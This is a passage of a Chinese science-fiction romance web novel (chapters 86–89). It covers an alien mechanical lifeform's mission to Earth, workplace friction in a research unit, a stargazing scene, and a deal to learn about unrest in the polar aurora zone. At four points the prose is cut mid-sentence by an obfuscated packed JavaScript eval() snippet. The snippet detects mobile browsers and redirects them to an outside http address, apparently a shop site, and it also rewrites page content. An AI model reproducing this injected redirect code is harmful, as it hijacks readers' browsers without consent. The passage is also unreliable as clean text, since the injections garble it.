“一个人开星舰穿越宇宙到地球,星舰坠毁你一点事儿没有不说,还睡了快一百年倒时差,你就精神力附在星舰上?你没有实体吗?”他还是没忍住问,“你是个什么物种啊?” 霍普说:“按地球的说法,我是混合星系安全特遣队的队员,物种……应该叫机械生命吧?我有实体,在混合星系。出来的时候队长怕我遇到危险,所以只放出了我的精神体,离开混合星系后,我就是星舰,星舰就是我。” 顾深浅正要说话,沈千峻第二条消息再次弹出:【这傻样儿,装可装不出来。】 …… 顾深浅:【闭嘴。】 她分了神,就听织梦先问道:“既然怕你危险,又为什么让你独自出任务?” 霍普说:“只有独立完成任务,我通过考验,才能真正加入了安全特遣队。” 织梦还欲再问,顾深浅截断他,问道:“你来地球是为了完成什么任务?” “我是过来查证情报的先遣者。”霍普说:“安全特遣队收到了一个求救信号,附带着π星的侵略行径。但队长很早就对π星实施了监控,当时并没有察觉到他们有异动情况。所以,队长派我先来查证。如果情报属实,安全特遣队会对他们进行制裁。” “求救信号?”顾深浅放下手臂上身微微前倾,“什么样的求救信号?来自哪里?是什么人发出的?” “这些我就不知道了。”霍普想了想,“哦,信号发源地我知道,就在π星。” π星发出的求救信号,举报π星恶行。 不会有第二种可能了。 顾深浅脸色惨白,沈千峻默默包住她握拳的手,问道:“求救信号是什么时候发出的?” 霍普说:“按地球时间换算倒退,应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202853|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该是在两百多年前。” 顾深浅僵硬道:“两百多少?” 霍普支吾着说不出来,杨楠贴心地放了一张地球新旧历换算表和宇宙里程时速评估工具,霍普推算了半天,得出结论:“收到求救信号是地球的旧历2819年,我抵达地球是2821年。” 织梦:“收到求救信号你们队长就派你执行任务了吗?” “是,没两天的功夫。” “这么说,你在宇宙里行驶了两年?” 霍普脑内换算了一遍,笃定地点头:“是。” 2819年到2821年,来自混合星系的星舰花了两年时间,才一路到达地球。 从π星散落的求救信号,又花了多长时间,走了多少弯路,才找到混合星系呢? 无边无垠的宇宙里,她独自一缕信号,都经历了什么呢? 她把她送上回地球的飞船,将π星全部的力量打进她体内,能依靠的只有残存的一点精神领域。 来自地球的宇宙飞船再次降落π星,地球坐标暴露。她预料到地球必遭巨变,一路困苦只为搬来救兵。 所达成的结果,也只换来了一个探查的先遣者。 还迟到了。 顾深浅垂眸不语,沈千峻捏捏她的小指,语气淡淡却不容置喙:“今天就到这儿,散了吧。织梦,送他回去。” 织梦还没应,霍普先摇头:“回不去的,我试过很多次。地球外围被非常坚实强大的力量包着,生物出不去,也进不来。” 沈千峻说:“没说送你回家。” 霍普:“……啊?” 顾深浅反握住沈千峻拍拍他,沈千峻哼笑一声,消停了。 “霍普。”顾深浅说,“地球和宇宙间隔着一层屏障,你暂时没办法离开。你说你是机械生命,如果你还想做天龙,织梦会把你送回去;如果你想做人,我可以为你打造身体,你可以暂时生活在地球上。” 她眼底飞速闪过一丝决然,坚定地说:“这道屏障不会一直存在,我保证。” 从会议室出来,沈千峻等了半天,杨楠才勉强舍得放开顾深浅,拽着顾深浅走的时候,他和罗亚对视一眼,仿佛看到了另一个自己。 沈千峻&罗亚:“……” 他兜着顾深浅往三区走,找隋楚要之前说好的观星系统,顺便打个上班卡。 顾深浅兴致一路都不怎么高,沈千峻漫不经心地问:“在想什么?” “嗯?没什么。”她顿了顿又说,“就是想到临死前的事。” 沈千峻皱起眉,兜着的手力道加重。 “啧,疼。”顾深浅嘴上说疼,连躲的动作都没有,“你非问的。” 沈千峻也“啧”了声,不吭声了。 一路无话到3B门口,顾深浅忽地展颜,扭过头冲沈千峻眨眨眼。 沈千峻心跳停了一拍。 一边秒懂到这表情什么意思,一边挪不开眼。 要命。 “沈千峻,你进过幻境吗?” 86. 科研组组长 沈千峻沉溺美色,没反应过来:“嗯?什么?” 美色狡黠一笑,拽着他就往前跑。 顾工没有精神技能,体能退化,自愈力退化,多年浸淫在机械堆养出来的手劲儿十一点不见小,沈千峻猝不及防被拉着,小跑就进了门。 直到眼前场景变化,满目疮痍席卷而来,他才意识到顾深浅说的“幻境”是什么。 眼前遍地是被战火毁得七零八落的建筑,不见活物,没有生机。 残垣断壁下仅存的一点生气是两只高悬的乌鸦,不知为何还停留在这儿。 一路走到廊上,顾深浅才压着期待问:“怎么样?看到了什么?” 沈千峻望向她,神情恍惚。 顾深浅五指在他眼前晃晃,疑惑地眨了眨眼,“沈千峻?” 沈千峻眸色渐深,一言不发地扣着她的后脑吻了下去。 三区办公区的门被推开时,隋楚望着窗外的景象,听到来人的动静也没有什么反应。 顾深浅面色不渝地在他桌案上叩了叩。 隋楚懒散地瞥她:“是你啊。东西在……你嘴怎么了?” “……”顾深浅“啧”一声,“管好你自己。项目报告呢?” “没写。”隋楚破罐破摔地说,“弄不明白。” “我看你是有点发昏。”顾深浅不怎么友善地说。 隋楚弯起的唇角带着嘲意:“怎么?一回来就要摆一摆组长的架子?” 顾深浅神色淡了些,平静地叙述:“今年是隋宁做科技兵的最后机会,他为了毕业差点死在考场。他并不像你一样在‘天才’呼声里走过来,唯有一点和科技沾边的天赋都点在了联盟并重视的天文学。他为什么一定要走这条路,你没想过吗?” 隋楚不知被触到了哪根神经,勃然大怒地拍案而起:“你知道什么?!” “我知道什么?”顾深浅复刻他刚刚微嘲的嘴角,“我知道这个项目是你上一任组长还在的时候亲自带着你一路过来的,这个项目不算重要紧急,也有他自己的意义。隋楚,你不知道吗?” 隋楚下唇咬得发白,却一时没有出言反驳。 顾深浅说:“现在你定他失败,那就失败了。失败的项目也有其中的收获,你做出了一个超越所有天文镜的观星系统,这就很好。可谁教你,项目失败了报告也可以不写?” 隋楚默然片刻,不甘地说:“他冬天要是来了,项目早就成功收尾了。” “我是你的上司,不是你的监护人。你私人的事跟我没关系,也不应该跟项目有关系。”顾深浅冷漠地说,“再因为自己这点情绪影响工作,就不单单我现在说你两句了。” “你凭什么说我?”隋楚怒道,“你是想耽误工作,可你有项目吗?你和沈教官浓情蜜意,你有失恋吗?” 顾深浅:“你失恋了?” 沈千峻:“意思她得先失个恋才能管你。” 两道声音同时响起,顾深浅蹙眉看向门口。 沈千峻缓步进来,隋楚秃鹫似的嚣张气焰全不见了,怂得像乖巧的鹌鹑。 沈千峻站在他面前:“怎么,她跟我谈恋爱,你有意见?” 隋楚:“……没有的。” 啧。 顾深浅扫了眼隋楚,草草地说:“一周内把项目报告给我。” 然后头也不回地走了。 沈千峻停在原地,挑了挑眉。 隋楚心有余悸,试探地喊:“沈教官?” “嗯?”沈千峻回过头,唇边还残留着未褪尽的笑意,“东西呢?” 顾深浅气冲冲地走出三区,回过头只见一片空荡荡,身后三区大门紧闭,全然不见第二个人的身影。 ……。 顾深浅唇抿成直线,继续往外走了五秒,又停住脚步。 三秒后,她绷着一张冰块似的脸,重新往三区的方向去。 方寸外的树荫后,沈千峻勾起唇。 顾深浅没走两步,手腕就被一股力道拽回。她直接翻了个身,落进了一个温暖的怀抱。 像是怕她推开,男人将她一整个环抱起来。他锁着她的腰,手掌覆着脊骨,下巴搁在肩窝里,柔声哄人:“我错了。” 大概是哪怕徐飞扬在场听了都认不出来,或者直接吓昏的程度。 顾深浅没憋住,浅浅笑了下:“你好得很。不就是在办公事前先办私事,知道有人来还不收手吗?这算什么错?” 沈千峻深吸了一口她的颈侧,内心十分赞同,嘴上还假模假样地说:“错了。” 顾深浅气消了,又觉得原谅得太轻易,于是又在他腰上掐了一把,听到耳边的闷哼声才得意地弯了嘴角:“疼吗?” 沈千峻笑起来,透着一丝邪性,摁在她脊骨的手加重力道把人往怀里带。 他贴着她的耳垂低声说:“疼死了。” 叠词的称呼在顾深浅耳边炸开,再平常不过的两个字此刻却成了打开禁忌的密钥,她心跳超速,埋在沈千峻胸口抬不起来。 沈千峻嗓音低哑地在她耳边又说了句什么,顾深浅羞愤难当,又给了他一下。 沈千峻心满意足,充满暗示地蛊惑道:“回六区?” 顾深浅耳朵要烧起来了,恶狠狠地推开他,嗔骂:“回什么回?不上班了?军备情况巡查。” “……” 沈千峻表情有点奇妙,瞬间有种搬起石头打自己脚的痛感,随机大尾巴狼似的看看时间,不说话。 “?”顾深浅莫名,“你怎么了?” 三、二、一…… 沈千峻扬起嘴角:“午休了,没班上了。” “……” 神金啊。 顾深浅懒得理他,大步向前。 她倒也不是有什么这会儿非做不可的事,只不过刚才那个氛围,实在有点太热了。 隋楚有一句说得没错,她没有项目。 之前大部分的时间也都给了斗晖,现在项目收尾,她确实是空了下来。 思及此处,顾深浅狐疑地回头,停下脚步看向悠哉漫步的沈千峻:“你当初不是想让我待在科研组,你想把我安排在哪儿?” 沈千峻走到她身边,揽肩勾着她往前:“不记得了。现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212416|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在在科研组挺好。” 顾深浅手肘杵他:“问你呢。” 沈千峻懒洋洋地说:“原计划是让织梦带你觉醒精神力,战力合格就留下,在先锋一队做领队,先跟着徐飞扬,后面就跟着他的接班人。现在么” 顾深浅都不用看他,轻笑一声:“胡说八道。” “哦。”沈千峻垂首看她,“那是什么?” 顾深浅虎口摸着下巴,想了想:“你大费周章把我搞进来,考我技能考我专业,考我查案又考我御下,我猜有一个麻烦的区域办事处,你和徐飞扬的人搞不定。你想要个镇得住场子,能管事的新面孔。” “技能、专业、查案和御下,这些先锋一队的领队也得会。”沈千峻说,“先锋一二队作为徐飞扬的亲卫,最隐秘的大事小情都是他们在做,权重比你想得大得多。” 顾深浅笑意盈盈地看着他:“可你既然用了广阔天地的自由来勾我,就说明你很清楚,把我困在首都,围着一个人打转的活儿,我不可能答应。” 沈千峻略带无奈看着她,不轻不重地弹了弹脑瓜:“这么多心思,不如想想吃什么。杨楠让厨房把今天最新鲜的珊瑚鱼送过来了,想怎么吃?” “你定。”顾深浅不满道,“怎么又转移话题啊。” 沈千峻手上小动作不断,这会儿指节贴在她耳廓,上上下下无意识地轻拂,一边懒懒地说:“没意义。现在都不可能让你去。” 顾深浅被他弄得痒痒,一边红着耳根后缩一边说:“是极光区吧?南区还是北区?” 沈千峻手上力道加重,捏了下去。 “沈千峻!” 极光区分为南北两大区,分布在地球的南北两极,每年都有连续半年的时间处于极昼或极夜,与人类常居地域的气候非常不同,原本并不在人类灾后重建规划里。 上世纪末,有人发现,极光区的磁场有助于生长稀有材料,在北极光区挖出了不少好料,赚了一大笔。 那人在极光区建了工厂,收容失业的普通人做工人,从此实现阶级跨越。 成功了一个就会有一大批复刻的人,一时间极光区工厂林立,人口膨胀的同时,普通人类和精神人类的矛盾也在极光区愈演愈烈。 这也顾深浅第一反应会猜测极光区的原因。 北极光区汇集着全联盟数量最多的底层普通人类,他们和当地精神人类间的矛盾由来已久。可以说是联盟目前最难掌控的地方之一。 而沈千峻麾下的人,最差的也是S级起步,他们从小养在训练营,没体会过普通人的遭遇。万一出点什么事,都不是坐镇当地的最优解。 反而是最初的顾深浅,既有常人不可及的精神力,又因为没有共感窝窝囊囊了小半辈子,深知普通人类遭受的不平待遇。只要她有能自保的能力,通过沈千峻的进一步观察,她就是最好的人选。 沈千峻扬扬下巴,顾深浅才发现,几步路的功夫,六区已经冒了头。另一个方向还有个人抱着个大箱子,正往六区走。 顾深浅无声地望向他。 沈千峻说:“你的营养液到了。” 87. 蝴蝶星云 贪嘴珊瑚鱼的代价,顾深浅一觉睡醒已经入夜了。 顾深浅迷迷瞪瞪地掀开眼皮,沈千峻靠坐着,像是在看光脑,手上把玩着她散落的发丝。 她过去搂着他,脑袋枕在他腰上蹭蹭,又困惑地眨眨眼,不确定地上手摸了摸他的腹肌,“刚不还硬着的?” “安分点。”沈千峻捏捏她的脸,“硬了你管吗?” “……你是狗吧。” 沈千峻勾勾唇,不逗她了。 过了会儿,顾深浅醒了七八分,懒散地问:“看什么呢?” 刚问完就后悔了。 好像有点冒昧。 沈千峻向来是不管事的,到他这里都是权限最高的信息,有些连织梦和徐飞扬都没有权限知道。 她不该问。 顾深浅想打个哈哈把话题带过时,却发现沈千峻不声不响地,直接调整了自己的光脑权限。 无数立体影像投射在顾深浅眼前,另一边的文字文稿上写着密密麻麻的注解,标题写的是《生命体进化-127》。 沈千峻轻描淡写地说:“海底研究所的封闭实验,主要研究方向是精神人类,这是最新的报告。” 顾深浅转过一个个立体投射的放大形体,大致看了一遍:“你在研究精神力的贮存?” 她想到一种可能,皱起眉:“是云汉1号?” “差不多。”沈千峻说,“一方面是云汉1号没有大家以为得那么稳定;另一方面,云汉1号建立时倾尽了当时全民所能运用的最大极限,基于精神元素的守恒定律,才会衍生无法觉醒精神力的普通人。” “等等。”顾深浅难以置信道,“你的意思是,现在的普通人之所以无法觉醒精神力,是因为……?” “是,”沈千峻说,“现在的普通人里面,很大占比都是当年建立云汉1号的人。” 他们是最早觉醒精神力的一批人类,最早感知到了地球的鲜活,为了保护这个蓝色星球奉献了自己的全部。 当他们再次获得生的机会,面临的却是无止境的歧视和随处可见的不平等。 “这也太……” “是。” 沈千峻说:“地球新历4年,《精神人类管制法》就已经出台,所有SSS级强制收编。对S级以上的人类做出明确行为限制。新历26年,《普通人类保护法》出台时再次明确,即使没有精神力的普通人类,也应享有与精神人类平等的社会地位。” “可还是没有用。”顾深浅说,“这是物种形态造就的阶级差异,不是一两个法案可以解决的” 沈千峻揉揉她的脑袋,意有所指地说:“这些年,辛苦了。” 顾深浅莞尔:“我就算是个普通人,也已经过得比一般普通人好多了。” 她坐起来靠上沈千峻的肩,怀念道:“我跟你说过吧,上学刚做项目那会儿,拼了命接活,写项目策划写得都冒火也不问爸爸妈……咳,不问他们要钱,当时可把自己厉害坏了。” 沈千峻身体微震,他在笑。 顾深浅:“后来在曼城,我跟爸爸回过一次老宅。在他的书房里看到了十几份项目策划书,都是我最早时候写给几个同学的。” “这些项目我后续都跟过反馈,除了一份客观原因搁置的,剩下都已经投入生产在市面流通,不可能是顾明朗请人做的表面功夫。我当时倒是没生气,就是纳闷儿,我就去问他了。” 沈千峻:“他怎么说?” 顾深浅:“他问我,那么多智力型精神人类,工学院每年都人才辈出,别人为什么要花钱买一个普通人写的方案?” 她说着说着自己先乐了,“我当时心想,能为啥啊?我做的东西他们做不出来呗。” “然后呢?” “然后啊。”顾深浅又换了个更舒服的姿势,躺在他腿上回忆道:“可傲了那会儿,我把那几年的成绩,参加过的比赛,拿过的奖都列在他面前,反问他,你说呢?” 沈千峻哼笑一声。 “多少有点不服气吧。我当然也不可能上赶着去问,诶那谁,你买我方案到底是因为我厉害还是因为我爸爸厉害?我就挑了几个人,找人去查。无一例外,我都是他们唯一一个交易过的普通人。” 顾深浅说:“后来我没忍住,问了陈教授。他倒是不瞒着我,说项目能落地,说明我做得很好。但我卖出去的前六个项目,甲方都是看在顾家的面子才会选我。我就算写的狗屁不通,也能卖那个价。” “好家伙嘛,年纪轻轻的,给我气坏了。” 她眼神柔软地说:“后来再长大点,我跟顾明朗的关系反而缓和了下来。具体表现比如,每周吃一次饭,我愿意用他的钱等等。” 沈千峻给她理着鬓角散落的发丝,听她话锋一转:“刚说的算是潜规则里的,平时什么场合不让普通人进,吃饭得分桌,同样的工作对半的工资,那都是明面上的。我身后尚且有家族庇佑,没有家族庇佑的普通人,过的不知道是什么日子。” 沈千峻说:“所以,我们从根源上解决问题。” 顾深浅挑挑眉。 沈千峻拍拍她的脑袋,忽然说:“起床吃饭。” “还没说完呢!” 沈千峻俯身亲了亲她眉心,再清纯不过的动作,话语间却带着浓重的欲色:“再不起,你就要睡到天亮了。” “……好嘞哥这就起。” 吃饱喝足,顾深浅捧着草莓营养液咬吸管:“去三楼干嘛啊沈千峻?” “饭后散步。” “嗷。”顾深浅把营养液举到他面前,“喝吗?” 沈千峻没皮没脸了一天,这会儿对着个营养液的吸管发了愣,看着这一小瓶营养液如临大敌,下了好大决心似的低头。 营养液被无情挪开,顾深浅仰头,舔舔他的唇。 然后成功看着沈千峻愣在原地。 顾深浅得逞一笑:“楠姐说,我的营养液都是你亲自去定的,独一份的水果味。” 沈千峻掩饰般咳了声:“所以?” “没什么。”顾深浅笑眯眯地说,“只是突然想到,我还在被考验阶段时,楠姐就给我投喂这种营养液了。你说巧不巧?” “……到了。”沈千峻站定在三楼第一扇门前,侧目, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222038|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你先?” 顾深浅收回揶揄的目光:“好。” 她推门进去,原先冷淡不见装饰的房间此刻已经全然被一片星海所覆盖,走近两步,蝴蝶状的星云缓缓流转,这一刻仿佛真的置身宇宙银河,美轮美奂。 沈千峻带上门,摸索着打开开关,顾深浅前方的空间凹出一张沙发形状。 他顺势搂着顾深浅过去坐下,好笑道:“不是你说带我看星星?这么惊讶?” 顾深浅从那团星云身上收回目光:“什么时候准备的?” “你睡着的时候,随便弄了下。”沈千峻漫不经心地说,“还以为你对天象不感兴趣。” “是一般。”顾深浅说,“小时候不喜欢黑暗,连带着也不喜欢晚上。恢复记忆后好一点,只是不怎么来电。” 沈千峻挑眉:“那你还约我看星星?” “当时想哄你来着。”眼见沈千峻不知道想到什么,温度直线下降,顾深浅赶忙找补道,“我觉得你会喜欢的。” 沈千峻:“为什么?” “宇宙浩瀚无垠,绚烂壮丽的背后往往藏着猝不及防的险象,暗含着无数神秘与未知。”顾深浅眨眨眼,“是不是听上去就是你喜欢的类型?” 他轻哼一声,看上去挺受用,但不多。 顾深浅抱着他臂膀,卧躺在“星际银河”包围的沙发上,指着远处的星云说:“你瞧,那是蝴蝶星云。好看吧?” 沈千峻没从那一堆斑斓的翅膀里看出什么,但抱着顾深浅的感觉并不坏,他慵懒地应声:“是什么?” “嗯……严格地说,蝴蝶星云是由宇宙气体和尘埃组成的天体。”顾沈千说,“两颗互相绕转的恒星,在濒死之际会抛出气体。唔,类似于地球上的爆炸,区别是更加剧烈,影响更加漫长。爆炸产生灼热的气体向两端扩散,就会形成这样的双极外观。” 她顿了顿,“我们眼前这对类太阳恒星,在他们生命的最后阶段,展现出漫长生命周期以来最美的一幕。这样形成的蝴蝶星云,也通俗地称为‘暮蝴蝶’。” 沈千峻搂着她,继续折腾他停不下来的小动作,一根根摆弄着顾深浅的手指,时不时“嗯”两声,以示自己在听,闻言又问道:“怎么?还有‘朝蝴蝶’?” “还真有。”顾深浅说,“暮蝴蝶伴随着死亡,而朝蝴蝶绽放新生。如果是找蝴蝶,意味着一颗崭新的恒星将要诞生了。” “这样,很神奇。”沈千峻说,“都是蝴蝶星云,为什么结果截然不同?” “蝴蝶星云外观像云,却是恒星的诞生之所。他们本是恒星弥留之际的绽放,有不同的遭遇,自然也有不同的结果。无论是走向灭亡还是新生,蝴蝶星云也许会消失,物质本身并不会,只是以另一种形态存在而已。” 沈千峻摆弄的动作停了停,“听上去意思是,你不知道?” 顾深浅没好气地瞪他:“我又不是学这个的!就这些还是隋楚做这个项目时候我自学的,你知足吧。” 沈千峻闷笑着说:“好的。” 他贴着她耳朵,又喊了一遍叠词。 顾深浅耳朵红透了。 88. 封印 织梦到三区的时候只有隋楚在办公区,专心致志地伏案忙碌。他过去坐到他对面:“忙什么呢?” 隋楚见到他愣了愣,随即苦了脸说:“赶项目报告。” 织梦了然一笑:“其他人呢?” “顾工带他们巡检去了。” “可怜样儿。”织梦在他脑袋薅了一把:“走,给我带个路。” “啊?”隋楚疑惑又实诚,“这会儿应该就在四区,你比我熟啊。” “迷路了,不认得。”织梦插兜到门口,冲他别别脑袋,“还不快来?” 隋楚懵了半天才反应过来,乐颠颠地跑他跟前了。 他们在四区维修处找到顾深浅时候,她正给一套日常战甲做常规养护,看见他们自己先没反应过来:“织梦?哟,隋小少爷肯正眼看我了?” 隋楚:“……” 孩子扭过脑袋,留下一句生硬的“梦神我在我外面等你。”就出去了。 织梦哭笑不得:“他怎么你了?我过去找你的时候,就他自个儿孤零零在那儿写报告。” “什么意思?觉得我孤立他?”顾深浅嗤笑,继续手上的活,“另外两个被霍普迷住了,都抢着要给他做身体,这会儿都不知道上哪儿开小会去了。本来这么好玩的事那小少爷也能参与,可惜了,项目报告没写完。” 织梦无言以对。 顾深浅:“找我什么事?” “不是你找我?”织梦说,“前两天给我发的信息,说让我找个老大不在的时候来找你,还让我看完就删。” 顾深浅迷茫了一瞬,恍然大悟:“嗷,是,对。沈千峻这两天太黏糊了。今天徐飞扬去首都把他带走了,我才好不容易自由点。” 织梦:“……”并不是很想知道。 顾深浅言归正传:“我是想找你问问极光区的事儿。” 织梦:“唔。” 顾深浅径直说:“孟一兰虽然说自己的预言未必会实现,但她其实没有错过,来得或早或晚而已。她关于极光区的说法,我没法不在意。” 织梦若有所思:“关于‘预言’这个说法,我一直挺疑惑。精神技能的本质是沟通元素,那预言是怎么做到的?沟通未来的元素?” 他说完又摇头否定了自己:“元素不能穿梭时空吧?” “当然不能。每个点位的元素是固定的。”顾深浅说,“不过预言是有可实现性的。” “怎么说?” “元素不可以,但人可以。以‘溯回’为例,当前时空下,我用自己的精神力开辟出一条通往过去的通道,回到过去。用自己的力量维持着通道,就能待在那儿。理论上说只要不力竭我能一直待在那儿,但事实是,维持着巨大的时空隧道,即使是我的力量也会很快耗尽,停不了多久就得回来。” 顾深浅继续说:“同理,如果她能看到一些画面,又不知道其他信息。很有可能是精神体不稳,以至于会间歇性地乱入到微小型时空旋涡,看到一些其他点位的画面。” “这么说的话……”织梦问,“你在海朝府,是怎么能把玖安时期的力量带回来的呢?” 顾深浅一怔,一时竟没答上来。 他们对视一眼,顾深浅猜测:“你是说,当时可能并不是过去的玖安借了自己的力量给我。” “是,如果按照这个逻辑,你带不回2817年的力量。” 顾深浅顺着他的话思考:“不是她借了力量给我,那么只有一种可能,在海朝府时我的技能和精神力,就是顾深浅自己本身拥有的。” “这么一来就很合理。”织梦推测道,“玖安做不到借力量给你,但他可以解开你的封印,让你觉醒。但出于某种原因,她只能帮助你短暂地觉醒,你很快又忘记了精神技能。嘶……但也不对啊?你的精神力不仅没有变弱,而且我感觉……比老大还强了。” “你猜的应该是对的。”顾深浅说,“天……霍普觉醒那天,我也发生了二次进化,精神力增强得很明显。但技能还是一点都没有恢复,连最基础的身体素质强化也每况愈下……如果照你这么推论,就很可能是禁锢着精神力的封印已经打开了,精神技能上还有另一道封印。” “你确定是你自己封上的?都想起来了?” “还没有。”顾深浅说,“但封印应该确实是自己上的,我确定。” 织梦遗憾:“真不能让我进去看看?” “我没不让过。是你自己每次都说进不去。” “……我是真进不去。”织梦一言难尽道,“如果你没不让,就是你绑定对象占有欲过强。” 顾深浅联想到沈千峻,不禁莞尔:“先说正经的。极光区到底是什么情况?” “很遗憾。”织梦说,“这事儿我是帮不了你了。” “嗯?” 织梦耸耸肩:“老大耳提面命,关于极光区一个字不准跟你提。你给我设置的三条协定里第一条:无条件服从沈千峻。” “……” “当然,你现在能做到的话,也可以扭转一下命令。” “……” “哦对,巧了,老大还命令所有人,时刻关注你的身体情况。怎么样顾工,今天精神技能觉醒了吗?” “……滚。” 织梦说滚就滚,临走还不忘友善提醒:“对了,你刚说极光区的时候,隋楚在外面应该听见了。他没准能告诉你。” 顾深浅全然不抱希望:“他能知道什么。” 织梦勾勾唇,没再说什么,出门还和隋楚打了个照面。 隋楚心虚得不敢看他,扯着嗓门往里走。 “怎么说话呢!”隋楚不服气地进来,“极光区的事儿,基地里面,除了几位大佬,我最熟好吗?” “你这么能耐呢。”顾深浅兴致缺缺地忙手里的活,随口道:“怎么?你对象在那儿?” “什么对象啊!你思想怎么那么龌龊!”隋楚脸一下热了,怒气冲冲道,“极光区的驻外科研是我的铁哥们儿!贼精,那块儿可不太平,别人不知道的事儿,他知道的最多。” 顾深浅终于抬头给了他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235078|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个正眼:“你想要什么?” 隋楚严肃下来,吸了一口气:“我要见隋宁。” “调岗免谈。” 隋楚欲言又止了几个来回,才支支吾吾地说了句话,顾深浅没听清:“什么?” 他吼道:“我不调岗了!” “……嗷。”顾深浅一噎,“那你什么意思?” “安排我见他一面,两天。”他说,“特训班只有过年五天假,我等不到那个时候。” 顾深浅停下动作,胳膊随性地搭在机械塔上,手指轻点,半透明防护面罩升起,露出一双褐瞳:“你说说看先。” 隋楚警惕道:“空手套白狼啊?你说话不算话怎么办?” 顾深浅嗤笑:“不然呢?还想我先替你办事?隋工,这个交易下,好像是你有求于我更多吧?” “……行吧。”隋楚问,“你想知道什么?” 顾深浅戴回面罩,继续干活:“你知道什么就说什么。” “那多了去了。我想想啊。”隋楚在顾深浅侧手挑了个台子坐下,干脆从头说起。 “极光区这地方,你听名字就知道了,得在地球多么边缘的地方。往那儿去的只有探险、旅游,或者搞科考的,压根没人会定居,特监处更不会设置办事处。毕竟现在地球上加起来也就这么点人,几个大城区要什么有什么,总比那儿宜居。” “去那儿定居的第一批人是一群普通人类。他们在那儿建了厂,做成了全联盟都没做成的生产线,搞特殊材料。后来工厂越做越大,越来越多的普通人过去求生。一座城市就这么无中生有地建了起来。不过那时候没有虫子,也几乎没有精神人类,特监处就没有掺和。后来会设置办事处,据说是因为,特监处发现,那儿藏了一批背叛者。” 顾深浅手一顿:“背叛者?背叛特监处?” “嗯哼。你这是什么表情?不是你想的那样。”隋楚说,“特监处的每一个人都是训练营定向出来的,训练的每个人都是3岁就被接回来的。但尊重物种多样性,并不是每个人都契合这里。十六岁时候,特监处会做一个初级审核,如果你不合适,就会给你一个机会离开。” 顾深浅惊讶地抬眼:“离开的人就是你说的背叛者?” “……当然不是。我们哪儿有这么不讲道理。”隋楚没好气地说,“我说的背叛者,是违背了誓言的人。” “什么誓言?” “……”隋楚看她的眼神怪异起来,“你……没有起誓吗?” 顾深浅噎住:“什么誓?” 隋楚:“……” 他纳闷地说:“你从外边来的,可能流程不太一样?训练营出身,比如说我吧。十六岁时候通过初审,确认加入特监处,就会起誓。既是真心的誓言,也是永久的盟约。” 隋楚再次重复他烂熟于心的誓言,少年清朗坚定的声音在室内回荡。 ——“我愿为守卫地球奉献终身,永远忠于特监处。” ——“不畏死,不惧活。” ——“绝不背叛。” 89. 告白(真) “我们在十六岁时起誓,誓言落下,等于和特监处缔结最忠诚的精神契约,直到生命尽头。” “而十六岁时离开特监处的人,梦神会修改他们的记忆,过去的十三年对他们来说就是在一个军事化管理的封闭学校里一样,他们不会再记得特监处的任何事,和特监处也再也没有关系。” “特监处之所以会在极光区设立办事处,就是因为这些人。当时有一批本该对特监处一无所知的S级,不仅知道特监处内部的很多事,还搅在极光区的普通人和精神人类之间,使二者矛盾激化到不可调和的状态,联盟光是武力镇压就闹出了好几次。” 顾深浅手上日常维护工作告一段落,用完的工具摊了一地,她不怎么讲究地坐在机械塔的台阶上,听到这儿插话道:“这哪一年的事儿?” “二十来年吧?大概是公元190年那会儿,叫做什么变革,我记不太清了,闹得很大,极光区的地志应该能查到。” “嗷。那说点地志查不到的。”顾深浅,“这是二十多年前的事儿,但据我所知极光区的矛盾到现在也没解决。啧,特监处设置办事处这么多年,看来作用也不是很大啊。” 隋楚不乐意了:“你懂啥啊。特监处的任务是解决背叛者,普通人和精神人类之间的矛盾是联盟的任务。” 顾深浅:“背叛者解决了?” 隋楚闷声不说话了。 顾深浅眯起眼,直觉摸到了线索,故意说:“你不会不知道吧?” 隋楚立即大声反驳:“怎么可能!” “你别是想靠地志诈我吧?”顾深浅越说越真,“真挺可疑啊,你还能有铁哥们儿?” “………………”隋楚咬牙,“你听不听了。” 顾深浅摊手:“细说。” 